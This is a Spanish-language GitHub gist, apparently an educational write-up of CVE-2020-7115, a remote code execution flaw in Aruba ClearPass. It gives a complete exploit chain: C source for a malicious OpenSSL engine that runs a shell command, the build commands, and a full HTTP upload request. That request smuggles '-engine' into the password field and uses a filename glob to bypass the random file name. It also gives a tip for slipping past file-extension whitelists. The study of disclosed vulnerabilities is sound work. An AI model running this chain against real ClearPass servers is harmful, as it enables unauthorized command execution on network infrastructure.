Skip to content

Instantly share code, notes, and snippets.

@Retr02332
Last active November 8, 2022 08:01
Show Gist options
  • Star 1 You must be signed in to star a gist
  • Fork 1 You must be signed in to fork a gist
  • Save Retr02332/02a2265047ea1bbb7ba0b61afc346e79 to your computer and use it in GitHub Desktop.
Save Retr02332/02a2265047ea1bbb7ba0b61afc346e79 to your computer and use it in GitHub Desktop.
Entendiendo a detalle el CVE-2020-7115

CVE-2020-7115 (Aruba Clearpass RCE)

Reconocimiento

Cuando seleccionamos un dominio como objetivo, y en la toma de huellas dactilares encontramos que el aplicación web funciona con java en el backend. Es interesante buscar archivos como struts.xml para agrandar aun mas la superficie de ataque.

Struts es un framework web (MVC) orientado a tecnologías java. En este archivo define algunas configuraciones del sitio. Entre ellas hay una en particular que puede ser de gran utilidad para un atacante. El elemento <action>.

¿Que es un archivo struts.xml?

Es un archivo de configuración XML para especificar la relación entre una URL, una clase Java y una página de vista (como index.jsp).

Estructura simple de un archivo struts.xml

<?xml version="1.0" encoding="UTF-8"?>
http://struts.apache.org/dtds/struts-2.5.dtd">

<struts>
    <constant name="struts.devMode" value="true" />
    <package name="basicstruts2" extends="struts-default">
        <action name="index">
            <result>/index.jsp</result>
        </action>
    </package>
</struts>

Lo anterior significa que cuando un usuario ingresa a:

(http || https)://domain.com/index.action

Debe redirigir al navegador a:

(http || https)://domain.com/index.jsp

¿Que podemos hacer con el contenido de este archivo?

Teniendo esto claro, lo que un atacante puede lograr con esto es realizar una fuerza bruta a estas URL encontradas en los elementos <action> del archivo struts.xml para posteriormente analizar sus respuestas y dirigir/ampliar un poco mas su proceso de auditoria.

Analizando el CVE

Entre tantas URL que respondían con un código de estado HTTP 302 que redirigían hacia la pagina de inicio de sesión, el investigador noto que había una URL que devolvía 200 junto con el siguiente mensaje:

No se ha cargado ningún archivo

La URL era la siguiente:

/tips/tipsSimulationUpload.action

Este punto final se usaba para la carga de archivos de certificado.

Básicamente era una pagina web que te permitía elegir un archivo .pfx y una contraseña para descifrarlo.

Recomendación del investigador

El código de manejo de certificados es un área gratificante 
de auditar, ya que los desarrolladores a menudo usan el 
binario de OpenSSL, en lugar de manejar el certificado 
utilizando una biblioteca de código.

Entendiendo como trabaja esta funcionalidad en el fondo

Cuando se carga un certificado del cliente en la llamada al punto final, el contenido se copia en un archivo temporal en el /tmp/directorio. El archivo temporal se creó utilizando la función de java createTempFile, que le da al archivo temporal un nombre aleatorio y una extensión fija, de modo que el archivo se ve así. /tmp/clientCertFile{RAND}.txtEsto significa que no tenemos la capacidad de controlar el nombre del archivo, solo el contenido.

Una vez que se copió el contenido del certificado en el archivo temporal, el código intentó "validar" el certificado del cliente determinando si el parámetro de contraseña en la solicitud podía descifrar el certificado. Esto se realizó pasando el nombre del archivo temporal y la contraseña como argumentos a un script de shell, que llamó openssl pkcs12y verificó si regresó correctamente o no.

El script de shell se ve así:

verifyClientCertFile.sh

#! /bin/bash

openssl pkcs12 -in $1 -passin pass:$2 -noout -nokeys > /dev/null

Dato curioso (comandos passin y passout de openssl)

  • -passin, sirve para introducir una contraseña en el archivo de entrada, para poder descifrarlo.

  • -passout, sirve para configurar una contraseña en un archivo de salida, con el animo de agregar una capa de protección.

Desafortunadamente para los atacantes, este script de shell se invoca desde Java dividiendo los argumentos en una matriz de cadenas y luego pasando la matriz a ProcessBuilder. Bajo el capó, ProcessBuilder usará execve en un String[], lo que evita la inyección de comandos.

Sin embargo, como el argumento "pass" en el verifyClientCertFile.sh script no está entre comillas, tenemos la capacidad de inyectar argumentos a OpenSSL, lo que puede resultar en la ejecución de código arbitrario. Esto es algo que se ha detallado más en la siguiente publicación de inyección de argumentos de OpenSSL del investigador de seguridad dozernz.

¿Que necesitamos para explotar esta vulnerabilidad?

A) Poder colocar un archivo en el disco que se puede interpretar como un engine de OpenSSL.

B) Poder proporcionar y controlar el -engine argumento a OpenSSL.

Encontrando un punto de entrada

El investigador descubrió que la carga del certificado no se validó para ver si era o parecía un certificado; simplemente se colocó en el archivo temporal tal como está y luego se pasó al script de validación. Por supuesto, el problema aquí es que no conocemos el nombre del archivo cargado, ya que se genera aleatoriamente.

Satisfaciendo los requisitos para la explotación

Con esto, sabemos que podemos entonces cargar un engine malicioso para explotar este fallo sin problema alguno, debido a que el sistema no valida si lo que estamos cargando es en verdad un archivo .pfx ( Personal Information Exchange ).

Por lo tanto, ya tenemos el requisito A para explotar esta vulnerabilidad.

En cuanto al requisito B, el investigador se dio cuenta de que el argumento de la contraseña se pasa sin comillas a través de un script de shell. Con ello, podemos usar el carácter comodín *, que se expandirá. Esto significa que en realidad no necesitamos saber el nombre del archivo cargado; simplemente podemos pasar una ruta como /tmp/clientCertFile*.txty el script de shell lo sustituirá por una ruta válida.

Esta falta de comillas significa que podemos inyectar el parámetro -engine después de poner la contraseña, para hacer referencia al engine malicioso de OpenSSL cargado previamente como como un certificado.

Ejemplo (funciona también sin las comillas)

'a' -engine /tmp/clientCertFile*.txt

Tener en cuenta

Siempre debemos indicar una ruta ya sea relativa/absoluta cuando 
configuremos la ubicación del engine en el sistema de 
archivos destino.

No hacerlo, puede desencadenar un error, impidiendo así la 
explotación.

En este momento hemos cumplido los dos requisitos para explotar esta vulnerabilidad, ahora solo nos queda configurar el ataque y enviarlo.

Configurando el entorno

Para construir nuestro engine malicioso debemos compilar el siguiente código escrito en C:

#include <unistd.h>

__attribute__((constructor))
static void init() {
    execl("/bin/sh", "sh", "-c","echo 'arbitrary code'");
}

El comando para compilarlo es el siguiente:

gcc -fPIC -o engine.o -c engine.c

Esto lo que hará sera compilar el código fuente engine.c en el código objeto engine.o

Luego lo que debemos hacer es crear la librería dinámica (.so en linux, .dll en windows):

gcc -shared -o engine.so -lcrypto engine.o

Todo este proceso en un solo comando se ve de la siguiente manera:

gcc -fPIC -o engine.o -c engine.c && gcc -shared -o engine.so -lcrypto engine.o

Tenga en cuenta que la librería dinámica (al menos en el caso de linux) no necesita terminar en .so, esto es bueno ya que de esta forma podemos saltar filtros de seguridad, cuando el backend solo admite archivos que tengan extensiones permitidas en sus listas blancas. (en este caso, cuando el contenido de la librería dinámica se reescribe en el directorio /tmp con la extensión .txt)

Lanzando el ataque

Con todos los instrumentos ya solo nos queda lanzar el ataque, la solicitud se ve de la siguiente manera:

POST /tips/tipsSimulationUpload.action HTTP/1.1
Host: example.com
Connection: close
Content-Length: 16425
Cache-Control: max-age=0
Origin: https://192.168.200.81
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; charset="utf-8"; boundary=----WebKitFormBoundarySCYwHjrAcRBmbkPK
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9

------WebKitFormBoundarySCYwHjrAcRBmbkPK
Content-Disposition: form-data; name="clientPassphrase"

'a' -engine /tmp/clientCertFile*.txt
------WebKitFormBoundarySCYwHjrAcRBmbkPK
Content-Disposition: form-data; name="uploadClientCertFile"; filename="a.pfx"
Content-Type: application/octet-stream

**[contenido del archivo .so]**
------WebKitFormBoundarySCYwHjrAcRBmbkPK--

Como puede ver, cargamos el contenido de la librería dinámica (engine malicioso en este caso), vemos que la mandamos como un archivo .pfx y sabemos que posteriormente cambiara a un .txt. Esto como ya se ha dicho no afecta en nada al proceso, ya que aun así openssl reconocerá este archivo como un engine valido. Por otro lado vemos que establecemos como contraseña:

'a' -engine /tmp/clientCertFile*.txt

En donde establecemos una contraseña para no romper la sintaxis del comando, y posteriormente configuramos el engine malicioso con el flag de openssl -engine.

Profundizando el efecto del bypass

Para las personas que no tienen mucha experiencia en linux, pasa que * es un comodín que significa "cualquier cosa", con esto lo que al investigador trata de hacer es ejecutar ese comando para todas las rutas que coincidan con ese patrón.

Si tenemos dos archivos:

  1. pepe.txt, que contiene => "Hola Mundo"
  2. lala.txt, que contiene => "Adiós Mundo"

Entonces el ejecutar este comando:

cat *.txt

Devolverá lo siguiente (no importa el orden):

Adios Mundo
Hola Mundo

Como el investigador no conocía el nombre del archivo pero si la extensión y la ruta, entonces ejecuto el comando para todos los archivos que hicieran match con ese patrón.

Fin del write-up

Bueno espero que haya quedado clara la explotación de este ataque. Es un ataque del año pasado pero es interesante, y muy seguramente sera útil en los momentos en los que te encuentres con una inyección de argumentos en openssl que es un software bastante utilizado en el mundo del desarrollo web.

Quiero dejar claro que la intención de este write-up es complementar y detallar un poco algunos conceptos y detalles del write-up original del investigador dozernz, el cual deje en la sección de referencias. Esto con el motivo de ayudar a la comunidad hispanohablante a entender un poco mas sobre como se puede explotar una inyección de comandos en openssl y como escalar esto a un potencial RCE.

¡¡ Importante !!

Cuando vaya a crear el archivo .so, debe tener en cuenta que para hacerlo tiene dos opciones:

  1. Crearlo en la misma maquina afectada
  2. Crear un entorno en su maquina que coincida con el sistema destino

He escrito una breve documentación, en donde podrás levantar tu propio entorno en docker (para imitar los requerimientos del sistema destino).

Referencias

  1. Documentación de struts.xml
  2. Write-Up oficial del investigador de la vulnerabilidad - (dozernz)
  3. Documentación para construir un engine en openssl
  4. Versión del engine simplificado
  5. Documentación a detalle sobre la inyección de comandos en openssl
  6. Mi script para automatizar la explotación
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment